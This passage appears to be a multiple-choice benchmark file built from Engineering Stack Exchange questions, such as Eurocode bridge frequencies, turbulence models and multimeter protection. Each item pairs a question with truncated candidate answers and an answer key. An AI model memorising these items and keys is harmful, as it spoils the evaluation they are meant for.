anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/162/how-to-correctly-size-the-blades-for-a-small-educational-wind-turbine"} {"id": "engineering_179", "domain": "engineering", "question_title": "Derivation for bridge natural frequency estimate in Eurocodes", "question_body": "The Eurocodes gives the following equation for estimating a \"simply supported bridge subject to bending only\"*: $$n_0 = \\frac{17.75}{\\sqrt{\\delta_0}}$$ Where $n_0$ is the natural frequency in hertz $\\delta_0$ is the deflection at mid-span under permanent actions in mm The equation is seemly plucked from thin air, and there is no explanation as to where the constant 17.75 comes from. As an engineer I'm loath to use a formula I don't understand, but more than that it would be helpful to learn the fundamentals behind it so that I can see if it can be altered to work with other support conditions. Can anyone provide a derivation / fundamental origin to this relationship? *Full reference is: EN 1991-2:2003 6.4.4 [Note 8] (Equation 6.3), if that helps.", "question_score": 13, "question_tags": ["bridges", "dynamics", "eurocodes"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "If we simplify the whole bridge into 2D thin beam with a constant section size, no internal damping and subject only to small vertical deflections, then the natural frequency is determined by simple harmonic motion: $$ n_0 = \\frac{1}{2 \\pi} \\sqrt{ \\frac{ k } { m } } $$ Where $ n_0 $ is the natural frequency, $ k $ is the ratio between restorative force and deflection (the equivalent 'spring stiffness') and $m$ is the mass per unit length of the beam. In a beam the restorative force is the internal shear caused by the deflected shape. As the..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/179/derivation-for-bridge-natural-frequency-estimate-in-eurocodes"} {"id": "engineering_226", "domain": "engineering", "question_title": "How different are dc motor designs from dc generator designs?", "question_body": "Some dc motors can be used as generators as well by applying mechanical torque to the output shaft to induce a current. However, even if a dc motor can do this, I imagine they were not designed for this purpose and thus perform less efficiently when used as a generator rather than as a motor. In my admittedly naive understanding, dc generators and dc motors are essentially the same machinery, but with inputs and outputs reversed. This leads me to believe that some other design considerations are used to make one direction more efficient than the other. How differently are dc generators and dc motors designed to make one direction of input/output more efficient than the other? What can one do electrically or mechanically to improve the efficiency in either direction? In particular, I'm interested in converting a dc motor into a generator and want to know how I can improve its efficiency in converting mechanical energy into electrical energy.", "question_score": 13, "question_tags": ["mechanical-engineering", "electrical-engineering"], "choices": {"A": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "B": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "C": "You want to let air into the pipe when you switch the pump off, without letting water out. Here's a few ways to do this. Make a pinhole in the highest point of the pipe. You will lose a bit of water this way, but if it is above the tank, the water will drip back in (provided it doesn't spray too far.) You could even put it just under the tank lid. Install a tee and riser at the highest point of the pipe. this will need to be high enough to avoid the pump pressure pumping water out...", "D": "In Ye olden days DC generators were brushed commutated devices. They had a one or more stator windings and an armature winding. Field wound DC generators as well as motors were commonly connected in one of three methods: Series, Shunt and Compound. Without getting into details, each had its own set of strengths and weaknesses. But you only have to remember these two things: the voltage of a DC motor is dependent on its input shaft speed. Current is a function of torque. More voltage means more RPM's and more amps means more newton-meters (or foot-pounds). So with all that,..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/226/how-different-are-dc-motor-designs-from-dc-generator-designs"} {"id": "engineering_336", "domain": "engineering", "question_title": "Which turbulence models are suitable for CFD analysis on a streamlined vehicle body?", "question_body": "Many commercial and open-source CFD codes implement several closure methods for the non-linear convective acceleration term of the Reynolds-averaged Navier-Stokes (RANS) equations. Common methods (also known as turbulence models ) include Spalart–Allmaras (S–A) k–ε (k–epsilon) k–ω (k–omega) SST (Menter’s Shear Stress Transport) Reynolds stress equation model Which of these are suitable for CFD simulation of a streamlined vehicle body? The purpose of the simulations is to guide the refinement of the body shape to minimize aerodynamic drag forces. An exemplary answer would briefly outline the advantages and disadvantages of each method for this simulation application. Potentially useful details: The vehicle is a small one-person vehicle with approximate dimensions L = 2.5 m, W = 0.7 m, and H = 0.5 m. It will be travelling at speeds ranging from 0 m/s to approximately 12 m/s. All three wheels are enclosed by the body envelope, and the vehicle has an approximate ground clearance of 15 cm except near the wheels, where the body shell extends down to within 1 cm of the road surface. Normally aerodynamic forces at these speeds are very nearly negligible, but assume that this vehicle is being designed to compete in a \"Super Mileage\" competition on a smooth track, is very light-weight, and uses low friction drivetrain components throughout, so the aerodynamic forces have a significant effect on the achievable fuel consumption.", "question_score": 13, "question_tags": ["mechanical-engineering", "fluid-mechanics", "fluid-dynamics", "simulation", "modeling"], "choices": {"A": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "B": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a...", "C": "I have written mostly about CFD in this answer, however same points should also work for FEA or other simulation techniques. CFD is mostly used for design optimization and parametric study of the design. Following are a few examples showing how engineers use simulations Selection of a design : Read: A conceptual study of airfoil performance enhancement using CFD. This thesis shows use of CFD for selecting the best design out of a number of candidate designs. Engineers often go for simulations to select 'the one' out of many . Shape optimization using CFD : This paper gives an example...", "D": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/336/which-turbulence-models-are-suitable-for-cfd-analysis-on-a-streamlined-vehicle-b"} {"id": "engineering_486", "domain": "engineering", "question_title": "Measuring longer distances with high accuracy", "question_body": "I am involved right now in the fabrication of steel structures on the order of 5-50 feet long. Presently, we measure these structures with garden variety commercial tape measures. Most of the time, we work to a tolerance of about +/-1/16\" and don't have any problems. Recently, we're trying to make some items to a very high tolerance (at least +/- 1/32\", approaching 1/64\" or .016\") This tolerance is due to visual not mechanical criteria, but it is still very important to our management. My question is, how can we reliably measure these sorts of distances with that level of precision? I'm prepared to order some NIST traceable tape measures, but it's not clear to me if they'll really improve the situation. Are there other technologies or techniques that could practically be applied in a fabrication setting? Are any surveying tools accurate enough to solve the problem? Cost is obviously a factor, but we're more concerned with repeatability and robustness than price. I realize this tolerance will sound ridiculous to most, but I imagine that some other industries may have to perform similarly, perhaps large engines for ships or power plant components?", "question_score": 13, "question_tags": ["measurements", "tolerance", "manufacturing-engineering", "surveying"], "choices": {"A": "Answering the question: What are possible types of low cost sensors I can use? There are several types of sensors that can provide millimeter level accuracy. \"Low cost\" is a very relative term, so you'll need to do some shopping around based on your specific budget. Optical sensors- Included here are those of the type you listed, though it's a very cheap sensor meant more to provide a \"yeah something is in front of me, about yay-far-away\". There are also laser sensor systems which can provide millimeter level accuracy. Ultrasonic Sensors- Most ultrasonic sensors have relatively low accuracy; in the...", "B": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "C": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "D": "To get that sort of accuracy over that scale is not trivial and probably won't be cheap. For smaller size up to a few meters a portable CMM would be an option ( here's an example ). These have accuracy on the order of 10 $\\mu$m and are used for things like high end/F1 car manufacture. However, CMM type instruments wouldn't be useful for anything larger than a few meters as it is limited by the arm length and must be fixed in place when measuring to get a sensible result. For larger pieces the best performing option would be..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/486/measuring-longer-distances-with-high-accuracy"} {"id": "engineering_557", "domain": "engineering", "question_title": "How does a multimeter protect itself from high voltages?", "question_body": "I have used a cheap multimeter to measure voltages in simple DC circuits, but I have seen pictures of them plugged straight into the mains and used to measure various home-built generators. Why doesn't the higher voltage fry the multimeter, and also in theory could a small cheapo multimeter be safely used to measure very high voltages? If you get the setting wrong on the dial, does this matter? I'm not planning to plug one in, nor would I recommend anyone who doesn't know what they're doing to do this either, I'm just wondering how it works.", "question_score": 13, "question_tags": ["electrical-engineering", "measurements"], "choices": {"A": "WARNING : Note that some cheap meters are not suitable for use with 230 VAC AC mains. Some meters may have AC voltage ranges able to conceptually measure to well above AC mains voltage BUT have internal componentry not certified, suitable or safe at eg 230 VAC. Use of such meters to measure such voltages is akin to a safer than usual game of \"Russian Roulette\" which still may end in death. _________________ Failures may occur to power dissipation in components or to voltage breakdown even when power dissipation is within bounds. Voltage ranges are usually less stressed than most...", "B": "Your equation is partly correct. You've calculated the energy per photon ($\\hbar \\nu$), but you've neglected the number of photons. That's why the units don't match (power is energy per unit time, while you've only got energy for each photon). The ideal power (energy per unit time) depends on the area of the solar panel, $A_p$, the number of photons striking it per unit time ($\\Phi$) and the energy of each photon, $E$, such that $W_{Ideal} =A_p \\cdot \\Phi \\cdot E$. A lens or mirror can focus light (a flux of photons) onto a small area. Under really ideal conditions,...", "C": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "D": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/557/how-does-a-multimeter-protect-itself-from-high-voltages"} {"id": "engineering_617", "domain": "engineering", "question_title": "Estimating whether the flow through a valve or nozzle cavitates", "question_body": "My understanding is that cavitation occurs in the flow of a liquid when the static pressure drops below the vapor pressure, even intermittently. So even if the time-averaged static pressure (what you might measure) is above the vapor pressure, the pressure fluctuations from turbulence or other unsteadiness could be large enough to cause cavitation locally. So comparing the time-averaged static pressure against the vapor pressure isn't enough; you need to add some extra cushion to account for the pressure fluctuations. (This is my interpretation, not having read too deeply into this.) So, in various books, websites, and journal articles I have seen two different types of dimensionless numbers for estimating whether the flow through a valve or nozzle cavitates. They are generally called the cavitation index or cavitation number. They take one of two forms: $$\\sigma = \\frac{p_\\text{in} - p_\\text{vapor}}{p_\\text{in} - p_\\text{out}}$$ or $$\\sigma = \\frac{p_\\text{in} - p_\\text{vapor}}{\\tfrac{1}{2} \\rho V^2}$$ where $p_\\text{in}$ is the inlet pressure, $p_\\text{out}$ is the outlet pressure, $p_\\text{vapor}$ is the vapor pressure, $\\rho$ is the liquid density, and $V$ is some characteristic velocity of the flow (say, in the nozzle case, the velocity at the outlet). Some forms of this number are inversions of the numbers above, but these aren't that different. What is the difference between these parameters? Based on energy conservation you can relate the pressure drop to the flow rate, but typically there is an empirical coefficient added in to account for non-idealities. Is there something else I am missing? Is one form preferred over the other? Best I can tell whether to use one or the other depends on what sort of data you have (so, for flow over a turbine blade, the velocity form is preferred), but I've seen both even for nozzles. Where can I get accurate data to predict cavitation based on these numbers? I've tried using some data on atomizer nozzles from various journal articles but generally they use different forms of the cavitation number. Some of the data suggests the flow through the nozzle will cavitate at the pressures I want, but other data for similar nozzles suggests it won't. I'm not sure what the source of the inconsistency is. My understanding could be faulty, the cavitation number model could be too simplistic, the data could be inaccurate, etc.", "question_score": 13, "question_tags": ["mechanical-engineering", "fluid-dynamics", "multiphase-flow"], "choices": {"A": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "B": "There are a few simple reasons why the speed of a vehicle (road conditions notwithstanding) may be limited: Gearing -- Production vehicles with conventional transmissions have a limited number of gears. For most modern cars, this is usually 5 or 6, whereas older vehicles may have as few as 2 or 3. If the gear ratio of the highest gear is too low (\"lower\" gears are expressed as larger numerical ratios), it's entirely possible that the engine will redline before air resistance becomes a factor at all. This ties into your first point about the red zone on the tachometer....", "C": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a...", "D": "The difference between the two equations The cavitation number is the ratio of the static pressure difference to the dynamic pressure difference. So, if you want to use the first equation, you would need to take the pressure using a Pitot tube to measure the total pressure, whereas if you want to use the second equation you will need to measure the freestream velocity, but I would recommend measuring it upstream rather than downstream because of possible effects of acceleration and boundary layer growth. Also, your $V$ should be $V_{in}$ such that it corresponds to the same location where $p_{in}$..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/617/estimating-whether-the-flow-through-a-valve-or-nozzle-cavitates"} {"id": "engineering_1880", "domain": "engineering", "question_title": "I have inherited a product with inconsistent designs sharing the same part number. What do I do?", "question_body": "I am now in charge of a product line my company has been shipping for a decade. One of the previous product engineers was... shall we say, less than conscientious about sustainability and proper documentation. We have shipped hundreds of units, of multiple design variants, under the exact same part number . The manual presently reflects only one variant, meaning many users can't use it. And we've had multiple instances where a user has tried to reorder a unit by part number, only to find that what we ship them does not match what they already had. Obviously, this is terrible. One does not change the specs or user interface of a product without also changing the part number. We will avoid such things in the future. But my question is about the past. We have, on paper, documentation indicating what design variant each serial number corresponds to. My thinking is to create a spreadsheet, and name each variant retroactively, so we can at least support users that call in or place reorders. We would then create proper manual(s) so that the user can, based on their serial number, understand the operation of the units they have. But I'm just making up that solution. It occurs to me that there may be formal, industry-standard methods of dealing with such things. Is there a procedurally-correct way to handle my existing install base?", "question_score": 13, "question_tags": ["project-management", "documentation", "product-support"], "choices": {"A": "I don't think there is any formal standard way out of this mess. The good news is that at least tracked the changes by serial number. Inventing different models after fact seems pointless because the customers won't know what models they have. From the customer view, these are all one model but vary by serial number. Document it that way. You could create a different manual for different serial number ranges if the changes are large, or have occasional sections in the manual that only apply to particular serial number ranges. Make sure that the customer can easily find the...", "B": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "C": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1880/i-have-inherited-a-product-with-inconsistent-designs-sharing-the-same-part-numbe"} {"id": "engineering_1958", "domain": "engineering", "question_title": "What makes the material travel through Archimedes' Screw?", "question_body": "...or in other words, why doesn't the material just stick to the screw, rotating in place, without progressing along its length? In the simplest case, the answer is obvious: gravity. If it's a granular or liquid material and the screw is tilted to a side, it will just roll/slide/flow along the blade, to remain on the bottom side of the tube. But then, Wikipedia says: A variant of the Archimedes' screw can also be found in some injection molding machines, die casting machines and extrusion of plastics, which employ a screw of decreasing pitch to compress and melt the material. Finally, it is also used in a specific type of positive displacement air compressor: the rotary-screw air compressor. On a much larger scale, Archimedes' screws of decreasing pitch are used for the compaction of waste material. In such case the forces - pressure, shearing, viscosity, adhesion, all would outweigh gravity, and probably in some cases friction against the tube walls. For example, in injection molding, what is there to keep the half-molten plastic from forming a clumping mass, sticking to the screw and keeping rotating in place without any progress? When the pressure increases, which force prevents the material from backing up into area of lower pressure?", "question_score": 13, "question_tags": ["fluid-mechanics"], "choices": {"A": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "B": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "C": "There's actually two kinds of screw conveying: Water lifting with screws happens just as in your gif, in the lower part of an inclined pipe we have water and the screw pushes 'packets' of water upwards. The water can't flow back because there's no path, the blades are not fully submerged. This mode is in principle also possible with solids. source: Wasser Wissen Now, screw conveyors for solids or the screws in extruders and meat grinders or certain dewatering presses work differently: Here it is the friction between the medium and the walls that prevents the material from corotating with...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1958/what-makes-the-material-travel-through-archimedes-screw"} {"id": "engineering_1998", "domain": "engineering", "question_title": "How does pressure treatment affect the mechanical properties of lumber?", "question_body": "Pressure treated lumber is specified for many exterior applications because of its resistance to insect damage and fungal rot. But how does it compare to untreated wood, mechanically? For example, consider a rim joist supporting the ground floor of a residential structure with a pier and post foundation. If the joist has been damaged by rot in a location that is impractical to fully protect from exposure, I might be tempted to replace the joist with a pressure treated member of the same nominal dimension (in addition to proper flashing) for added protection in that location. Since this is an existing structure, by far the easiest approach is to use a member with the same dimension to replace the rotted joist. However, this relies on the new member meeting the same load-bearing requirements as the old member. Building codes should provide enough wiggle room that in this particular example, there's not much of a safety concern for the homeowner. After all, the rotted joist had not failed, and it would definitely have less strength than the member was originally rated for. In practice, treated and untreated members may be manufactured from different wood species with different mechanical properties to begin with; for the purposes of this question, assume the species is constant. Does pressure treatment result in a member with more or less strength in tension, compression or torsion? Does it affect the durability of the wood* in ways not related to rot or insect damage? * Not the fasteners; that's a different issue that's pretty well-covered online. See this page from Simpson , for example.", "question_score": 13, "question_tags": ["structural-engineering", "wood"], "choices": {"A": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "B": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "Pressure treatment does have a small, but documented effect on the strength of the member, particularly if it is 'incised' (has slots or holes cut into it as part of the pressure treating process.) If you're working to American codes, according to the American Wood Council , pressure treated wood is limited to a maximum duration factor of 1.6. This wouldn't matter for your example of fixing a house, because the duration factor would already be much smaller. Effectively, this just restricts the use of pressure treated lumber for resisting impact loads. More importantly, if it is incised which is..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1998/how-does-pressure-treatment-affect-the-mechanical-properties-of-lumber"} {"id": "engineering_2017", "domain": "engineering", "question_title": "What is a Spiral Curve, and How is it Different from a Normal Curve?", "question_body": "I've heard the term spiral curve used to describe a section of highway that is more aesthetically pleasing to the driver's eye. However, I believe I've driven on enough road to say that I can't definitively tell the difference between any given curve other than how \"sharp\" it is. Could anyone explain how one can determine if a section of curve on a highway is classified as a \"spiral\" curve, and are there other advantages besides \"making it look good\"?", "question_score": 13, "question_tags": ["civil-engineering", "highway-engineering", "surveying", "rail"], "choices": {"A": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "B": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "C": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "D": "Spiral A spiral curve is a geometric feature that can be added on to a regular circular curve. The spiral provides a gradual transition from moving in a straight line to moving in a curve around a point (or vise-verse). The use of a spiral is about making the road or track follow the same form that the vehicle naturally takes. In a car, you don't go directly from going straight to fully turning. There is a transition area where you slowly turn the steering wheel. Lateral acceleration is slowly increased as the spiral is entered, or it is slowly..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2017/what-is-a-spiral-curve-and-how-is-it-different-from-a-normal-curve"} {"id": "engineering_2125", "domain": "engineering", "question_title": "How is a mechanical system designed and tested without building a physical model?", "question_body": "I am new to mechanical engineering, although I have a scientific background (postgrad in Mathematics), and I (mostly) code for a living. I have an idea about creating a mechanical device; I envisage it will entail gears, linkages and actuators. I have a rough idea where things will fit but I would like to be able to test and tweak the design in software before building the actual device. As a point of clarification, when I say \"test,\" I mean view via animation, for example, whether two items will collide when in motion, or if there is sufficient leeway between them as they move past each other. This allows me to do the design and simulation testing of the parts, before finalising the design and then building the physical system from the design. The stages are: Build the 3D design in software Run simulation to see if it \"works,\" if not fix design and iterate Build physical system from design that \"works\" I have figured out that the system consists of three subsystems working together. So, I would like to design and test each sub-component before integrating them into the complete system. My question then is this: Is this how design is done in the real world? What are the pros and cons of the scheme I have planned? I am intending to use FreeCAD to do the design and testing.", "question_score": 13, "question_tags": ["mechanical-engineering", "systems-design", "computer-aided-design"], "choices": {"A": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a...", "B": "Answer: Yes , this is exactly how it is done in the real world. What you have described is what I do in my job to check systems in CAD. Since you indicated you would like me to step through my design process, I have detailed it below. Note that most of this does not involve CAD. CAD is invaluable, but only if you are prepared to get out the pencil and paper first. Also note that this is just my design process, it is by no means the only way to go about things. Preparation When I begin any...", "C": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "D": "As others stated before, induction loops are the primary - most reliable method: the coils (usually just several loops of wire) embedded in the road; fed given frequency from a generator, in presence of metal the frequency of the LC circuit changes and the sensor circuitry detects the change of frequency, producing a presence signal. In some cases these may fail to detect bicycles, but they are by far most common as they aren't affected by weather (or more precisely, the detection circuit tunes in to slow changes of frequency caused by weather) and are immune to accidental false positives...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2125/how-is-a-mechanical-system-designed-and-tested-without-building-a-physical-model"} {"id": "engineering_2612", "domain": "engineering", "question_title": "Distance sensors with accuracy of 1 mm?", "question_body": "I am making a device for measurements. I would like to measure the distance within accuracy of 1 mm. Range could be 2 cm to 15 cm . I looked at Proximity Sensors but the readings displayed by these sensors are not steady. I wish to measure the thickness of the plate (carbon steel). The two sensors will be mounted on a structure. The sensors will give me the distance of the surface from the sensor. Then I will calculate the thickness of the plate. What are possible types of low cost sensors I can use?", "question_score": 13, "question_tags": ["mechanical-engineering", "measurements", "sensors", "tolerance"], "choices": {"A": "Answering the question: What are possible types of low cost sensors I can use? There are several types of 